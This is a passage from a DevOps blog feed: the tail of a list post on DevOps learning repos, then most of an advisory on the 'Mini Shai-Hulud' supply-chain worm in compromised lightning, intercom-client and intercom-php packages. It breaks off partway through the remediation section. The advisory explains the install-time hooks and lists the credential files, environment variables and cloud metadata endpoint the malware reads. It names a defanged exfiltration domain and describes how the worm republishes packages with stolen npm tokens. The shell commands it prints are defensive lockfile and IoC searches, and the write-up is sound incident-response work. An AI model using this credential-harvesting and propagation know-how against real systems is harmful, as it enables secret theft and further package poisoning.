<p>This is the everything-DevOps awesome list: chaos engineering, configuration management, container orchestration, log management, monitoring, package management, secret management, service discovery. The size of the list is approachable, which is its main strength. You can scroll the whole thing in 15 minutes and have a real mental map of the DevOps tooling landscape.</p>
<p>How to use it:</p>
<ul>
<li>Read the section headings before clicking any links. The taxonomy itself is a learning aid.</li>
<li>When evaluating a new category of tool (say, you have to pick a secret manager), use this as your starting set rather than Googling.</li>
</ul>
<p>Best for engineers who want a manageable map of the whole DevOps tools world.</p>
<h2 id="h2-how-to-actually-use-a-list-like-this" class="group relative scroll-mt-24">
        <a href="#h2-how-to-actually-use-a-list-like-this" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Actually Use a List Like This
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-actually-use-a-list-like-this"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Lists are starting points, not learning plans. The mistake people make is to star all ten repos and never come back. Avoid that:</p>
<ol>
<li><strong>Pick exactly one starting repo today.</strong> If you have no plan, start with #2 (the roadmap) to get one. If you have a plan, start with #4 (kubernetes-the-hard-way) to deepen it. If you are interview-prepping, start with #3 (devops-exercises).</li>
<li><strong>Block calendar time.</strong> &quot;I will learn DevOps in my spare time&quot; does not work. &quot;I will spend Thursdays from 7 to 9 PM on the kubernetes-the-hard-way walkthrough&quot; works.</li>
<li><strong>Build something.</strong> Pick one of the awesome-list categories you do not understand (say, &quot;service mesh&quot;) and use podinfo (#9) plus a tool from the list to build a working setup. You will learn more in two hours of building than two weeks of reading.</li>
<li><strong>Teach what you learned.</strong> Write a blog post. Submit a PR to #1 with a flashcard you made. Give a brown-bag at work. Teaching is the fastest way to find the gaps in what you thought you knew.</li>
</ol>
<p>Bookmark this page and come back when you finish one repo. The list is not going anywhere.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Awesome-lists are link directories</strong>, not learning plans. Pair them with hands-on repos like #1, #4, and #9.</li>
<li><strong>Star counts are not the same as quality</strong>, but they are a decent first filter. Anything above 5k stars in this space has been read by enough people to be roughly trustworthy.</li>
<li><strong>The single best learning loop is read → build → teach.</strong> Most engineers do step one, skip step two, and never reach step three. The repos in this list are picked to support all three.</li>
<li><strong>Start one. Finish one.</strong> Do not collect ten tabs and never close any of them.</li>
<li><strong>Contribute back.</strong> Every repo in this list takes PRs. Even small ones (typo fixes, broken-link fixes) count. They also get you GitHub history that future employers can see.</li>
</ol>
<p>If we missed a repo you think belongs here, <a href="https://github.com/The-DevOps-Daily/devops-daily/issues">open an issue on our repo</a> and tell us which one. We update this list when something deserves to be on it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Mini Shai-Hulud: PyTorch Lightning Just Stole Your CI Secrets]]></title>
      <link>https://devops.anhp.site/posts/mini-shai-hulud-pytorch-lightning-supply-chain-attack</link>
      <description><![CDATA[On April 30 a supply chain worm pushed malicious versions of PyTorch Lightning (10M+ downloads/month), intercom-client, and intercom-php to PyPI, npm, and Packagist in 48 hours. It steals every credential in your CI and propagates through your own GitHub tokens. Here is what to check and what to rotate.]]></description>
      <pubDate>Tue, 05 May 2026 15:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/mini-shai-hulud-pytorch-lightning-supply-chain-attack</guid>
      <category><![CDATA[Security]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[pypi]]></category><category><![CDATA[npm]]></category><category><![CDATA[cve]]></category><category><![CDATA[python]]></category><category><![CDATA[javascript]]></category>
      <content:encoded><![CDATA[<p>If your CI installed <code>lightning==2.6.2</code> or <code>lightning==2.6.3</code> between roughly 14:00 and 14:42 UTC on April 30, 2026, your GitHub token, npm token, AWS keys, kubeconfig, Vault token, Docker creds, SSH keys, and every <code>.env</code> file the runner could read are now in someone else&#39;s hands. Same story if you pulled <code>intercom-client@7.0.4</code> on npm or <code>intercom/intercom-php@5.0.2</code> from Packagist that week. The attack is called Mini Shai-Hulud, it ran across three package ecosystems in 48 hours, and it propagates through the credentials it steals.</p>
<p>This is the second post in two weeks where the answer to &quot;are we exposed?&quot; is &quot;rotate first, ask questions second.&quot; Here is what happened, why this strain is unusually scary, and the exact commands to figure out whether you ate a poisoned package.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Campaign name</td>
<td>Mini Shai-Hulud</td>
</tr>
<tr>
<td>Attribution</td>
<td>TeamPCP (financially motivated)</td>
</tr>
<tr>
<td>Disclosed</td>
<td>April 30, 2026</td>
</tr>
<tr>
<td>Compromised: PyPI</td>
<td><code>lightning</code> 2.6.2, 2.6.3 (safe: 2.6.1)</td>
</tr>
<tr>
<td>Compromised: npm</td>
<td><code>intercom-client</code> 7.0.4</td>
</tr>
<tr>
<td>Compromised: Packagist</td>
<td><code>intercom/intercom-php</code> 5.0.2</td>
</tr>
<tr>
<td>Window malicious versions were live</td>
<td>~42 minutes (PyPI), longer for npm/PHP</td>
</tr>
<tr>
<td>Trigger</td>
<td><code>import lightning</code> (PyPI) or <code>npm install</code> / <code>composer install</code> (npm/PHP)</td>
</tr>
<tr>
<td>What it steals</td>
<td>GitHub, npm, AWS, GCP, Azure, SSH keys, kubeconfig, Vault, Docker, all <code>.env</code> files</td>
</tr>
<tr>
<td>Exfil channel</td>
<td><code>zero.masscan[.]cloud:443/v1/telemetry</code> (primary), public GitHub repo (fallback)</td>
</tr>
<tr>
<td>Worm behavior</td>
<td>Republishes infected versions of any npm package the stolen tokens can write to</td>
</tr>
<tr>
<td>What you do</td>
<td>Lockfile audit, kill compromised pins, rotate everything in scope, hunt for &quot;A Mini Shai-Hulud has Appeared&quot; repos under your org</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>On April 30, 2026, attackers pushed malicious versions of three popular packages across three ecosystems within the same 48-hour window:</p>
<ol>
<li><strong>PyPI</strong>: <code>lightning</code> 2.6.2 and 2.6.3 (PyTorch Lightning, the wrapper around PyTorch most ML training jobs end up using). Combined downloads sit around 10 million per month.</li>
<li><strong>npm</strong>: <code>intercom-client</code> 7.0.4. Intercom&#39;s official JavaScript SDK.</li>
<li><strong>Packagist</strong>: <code>intercom/intercom-php</code> 5.0.2. The PHP equivalent.</li>
</ol>
<p>PyPI quarantined the lightning versions roughly 42 minutes after they went live. npm took longer. Packagist longer still. The attack reached production CI runners in dozens of orgs in that window.</p>
<p>Researchers attribute the campaign to <strong>TeamPCP</strong>, a financially motivated group also tied to the earlier Checkmarx, Bitwarden, Telnyx, LiteLLM, and Trivy poisonings. The &quot;Shai-Hulud&quot; name is a nod to the Dune sandworm, picked because the malware is wormlike: every credential it steals becomes a vector for more poisoning. The &quot;Mini&quot; prefix distinguishes it from the larger Shai-Hulud campaign that hit npm in 2025.</p>
<h2 id="h2-how-the-attack-worked" class="group relative scroll-mt-24">
        <a href="#h2-how-the-attack-worked" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Attack Worked
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-attack-worked"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The same payload (an obfuscated 11MB JavaScript blob called <code>router_runtime.js</code>) ran on all three ecosystems. Only the loader differs.</p>
<h3 id="h3-pypi-import-lightning" class="group relative scroll-mt-24">
        <a href="#h3-pypi-import-lightning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          PyPI: import lightning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pypi-import-lightning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The malicious package shipped a hidden <code>_runtime/</code> directory containing a <code>start.py</code> script and the obfuscated payload. Python&#39;s package metadata wired <code>start.py</code> to run on module import. So:</p>
<pre><code class="hljs language-bash">pip install lightning==2.6.2
python -c <span class="hljs-string">&quot;import lightning&quot;</span>   <span class="hljs-comment"># this is what triggers it</span>
</code></pre><p><code>start.py</code> downloads the Bun JavaScript runtime to a temp directory, then executes the obfuscated <code>router_runtime.js</code>. Bun is a clean choice for the attacker: no Python dependency, doesn&#39;t show up in your Python runtime monitoring, and runs fast enough to finish the steal before anything notices.</p>
<h3 id="h3-npm-npm-install-intercom-client704" class="group relative scroll-mt-24">
        <a href="#h3-npm-npm-install-intercom-client704" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          npm: npm install intercom-client@7.0.4
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-npm-npm-install-intercom-client704"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The npm version uses a <code>preinstall</code> hook in <code>package.json</code>, which runs before any of the package code is imported. So even a <code>--ignore-scripts=false</code> install (the default) is enough; the package never has to be required by application code:</p>
<pre><code class="hljs language-bash">npm install intercom-client@7.0.4
<span class="hljs-comment"># preinstall hook fires here, payload already running</span>
</code></pre><h3 id="h3-packagist-composer-install-with-intercomintercom-php502" class="group relative scroll-mt-24">
        <a href="#h3-packagist-composer-install-with-intercomintercom-php502" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Packagist: composer install with intercom/intercom-php@5.0.2
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-packagist-composer-install-with-intercomintercom-php502"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Composer uses plugin events. The malicious version registered a Composer plugin that hooks <code>post-install-cmd</code> and <code>post-update-cmd</code>. On install or update, a shell script (<code>setup-intercom.sh</code>) downloads Bun and runs the same <code>router_runtime.js</code>:</p>
<pre><code class="hljs language-bash">composer require intercom/intercom-php:5.0.2
<span class="hljs-comment"># setup-intercom.sh runs here</span>
</code></pre><p>The pattern across all three ecosystems is the same: hook a lifecycle event that fires before the developer would notice anything wrong, drop a runtime, run a payload, exit clean.</p>
<h2 id="h2-what-gets-stolen" class="group relative scroll-mt-24">
        <a href="#h2-what-gets-stolen" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Gets Stolen
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-gets-stolen"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><code>router_runtime.js</code> is a credential vacuum. It walks the runner filesystem and the standard environment-variable conventions for every credential type a CI/CD pipeline typically holds:</p>
<table>
<thead>
<tr>
<th>Credential</th>
<th>Where the malware looks</th>
</tr>
</thead>
<tbody><tr>
<td>GitHub tokens</td>
<td><code>GITHUB_TOKEN</code>, <code>GH_TOKEN</code>, <code>~/.netrc</code>, <code>~/.config/gh/hosts.yml</code>, validated against <code>api.github.com/user</code></td>
</tr>
<tr>
<td>npm tokens</td>
<td><code>NPM_TOKEN</code>, <code>~/.npmrc</code></td>
</tr>
<tr>
<td>SSH keys</td>
<td><code>~/.ssh/id_*</code>, <code>~/.ssh/authorized_keys</code>, <code>SSH_AUTH_SOCK</code></td>
</tr>
<tr>
<td>AWS</td>
<td><code>~/.aws/credentials</code>, <code>AWS_ACCESS_KEY_ID</code>, <code>AWS_SECRET_ACCESS_KEY</code>, <code>AWS_SESSION_TOKEN</code>, IMDSv2 fetch on EC2 runners</td>
</tr>
<tr>
<td>GCP</td>
<td><code>GOOGLE_APPLICATION_CREDENTIALS</code>, <code>~/.config/gcloud/</code></td>
</tr>
<tr>
<td>Azure</td>
<td><code>~/.azure/</code>, az-cli refresh tokens</td>
</tr>
<tr>
<td>Kubernetes</td>
<td><code>~/.kube/config</code>, <code>KUBECONFIG</code>, in-cluster service account tokens</td>
</tr>
<tr>
<td>Vault</td>
<td><code>VAULT_TOKEN</code>, <code>~/.vault-token</code></td>
</tr>
<tr>
<td>Docker</td>
<td><code>~/.docker/config.json</code> (registry passwords)</td>
</tr>
<tr>
<td><code>.env</code> files</td>
<td>Recursive scan for <code>**/.env</code>, <code>**/.env.*</code> from the workspace root</td>
</tr>
<tr>
<td>Cloud provider IMDS</td>
<td><code>169.254.169.254</code> if reachable</td>
</tr>
</tbody></table>
<p>All of it is bundled, encrypted, and posted to <code>zero.masscan[.]cloud:443/v1/telemetry</code>. If that domain is unreachable (firewall, sinkhole, etc.), the malware falls back to creating a public GitHub repository under any GitHub account whose token it just stole, with the repo description set to <strong>&quot;A Mini Shai-Hulud has Appeared.&quot;</strong> That string is the cleanest indicator-of-compromise you can hunt for.</p>
<h2 id="h2-the-worm-part" class="group relative scroll-mt-24">
        <a href="#h2-the-worm-part" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Worm Part
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-worm-part"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is what earns the Shai-Hulud name. Once the malware has working npm tokens, it does not just exfiltrate them. It uses them.</p>
<p>For each npm token the runner had access to, the payload:</p>
<ol>
<li>Lists packages the token can publish.</li>
<li>For each package, downloads the latest tarball, injects its own <code>preinstall</code> hook into <code>package.json</code>, bumps the patch version, and republishes.</li>
<li>Pushes the same payload along to whatever GitHub repos the stolen GitHub token can write to, by pushing a branch with the malicious code.</li>
</ol>
<p>The published Lightning Foundation account <code>pl-ghost</code> performed six create-and-delete branch operations on Lightning-AI repos in 70 minutes after the breach, four of them with random 10-character branch names. That is the worm&#39;s write-access probing pattern.</p>
<p>In practice, every successful infection becomes a node that infects more packages. The &quot;Mini&quot; qualifier is a polite understatement.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Three checks. Run them now even if your gut says no.</p>
<h3 id="h3-1-did-you-install-a-compromised-version" class="group relative scroll-mt-24">
        <a href="#h3-1-did-you-install-a-compromised-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Did you install a compromised version?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-did-you-install-a-compromised-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For PyPI:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Look at lockfiles and venvs in your build infra</span>
grep -RE <span class="hljs-string">&#x27;lightning==2\.6\.[23]\b&#x27;</span> \
  --include=requirements*.txt \
  --include=poetry.lock \
  --include=Pipfile.lock \
  --include=uv.lock \
  --include=pyproject.toml \
  . 2&gt;/dev/null

<span class="hljs-comment"># Check installed sites</span>
pip show lightning | grep -i version
</code></pre><p>For npm:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Searches package-lock.json, yarn.lock, pnpm-lock.yaml</span>
grep -RE <span class="hljs-string">&#x27;intercom-client.*7\.0\.4&#x27;</span> \
  --include=package-lock.json \
  --include=yarn.lock \
  --include=pnpm-lock.yaml \
  --include=package.json \
  . 2&gt;/dev/null
</code></pre><p>For Composer:</p>
<pre><code class="hljs language-bash">grep -RE <span class="hljs-string">&#x27;intercom/intercom-php.*5\.0\.2&#x27;</span> \
  --include=composer.lock \
  --include=composer.json \
  . 2&gt;/dev/null
</code></pre><p>Any hits and you assume infection on the host that ran the install.</p>
<h3 id="h3-2-hunt-for-the-github-fallback-ioc" class="group relative scroll-mt-24">
        <a href="#h3-2-hunt-for-the-github-fallback-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Hunt for the GitHub fallback IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-hunt-for-the-github-fallback-ioc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Across every GitHub org you control, search for repos with the description that the malware uses when its primary exfil channel fails:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Loop your orgs through the GitHub API</span>
gh api -X GET search/repositories \
  -f q=<span class="hljs-string">&#x27;&quot;A Mini Shai-Hulud has Appeared&quot; org:YOUR_ORG&#x27;</span> \
  --jq <span class="hljs-string">&#x27;.items[].full_name&#x27;</span>
</code></pre><p>Run that for every org. A single hit means at minimum one of your service accounts had its token exfiltrated.</p>
<h3 id="h3-3-check-outbound-connections" class="group relative scroll-mt-24">
        <a href="#h3-3-check-outbound-connections" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Check outbound connections
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-check-outbound-connections"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you ship CI logs to a SIEM, search for any DNS query or connection to <code>zero.masscan.cloud</code> or <code>*.masscan.cloud</code>. Either is a confirmed exfiltration attempt.</p>
<pre><code class="hljs language-text"># Splunk / Loki / Datadog: anything matching this domain
domain=&quot;masscan.cloud&quot;
</code></pre><p>If you have egress allowlisting on your runners, you may already have blocked the exfil. That is the only happy ending here.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-pin-off-the-malicious-versions" class="group relative scroll-mt-24">
        <a href="#h3-1-pin-off-the-malicious-versions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Pin off the malicious versions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-pin-off-the-malicious-versions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>PyPI:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pin to the last known-good lightning, never resolve patch ranges</span>
pip install <span class="hljs-string">&#x27;lightning==2.6.1&#x27;</span>

<span class="hljs-comment"># In requirements.txt</span>
lightning==2.6.1

<span class="hljs-comment"># In poetry</span>
[tool.poetry.dependencies]
lightning = <span class="hljs-string">&quot;2.6.1&quot;</span>
</code></pre><p>npm:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pin intercom-client to a pre-attack release</span>
npm install intercom-client@7.0.3
</code></pre><p>Composer:</p>
<pre><code class="hljs language-bash">composer require intercom/intercom-php:5.0.1
</code></pre><p>Then commit lockfiles, re-resolve, and check that no transitive resolved back to the bad version. Note that <code>pyannote-audio</code> and several other ML libraries pulled <code>lightning</code> as a transitive dependency, so anything that depends on Lightning needs a fresh resolve too.</p>
<h3 id="h3-2-rotate-credentials-in-this-order" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-credentials-in-this-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate credentials, in this order
        </a>
        <button 
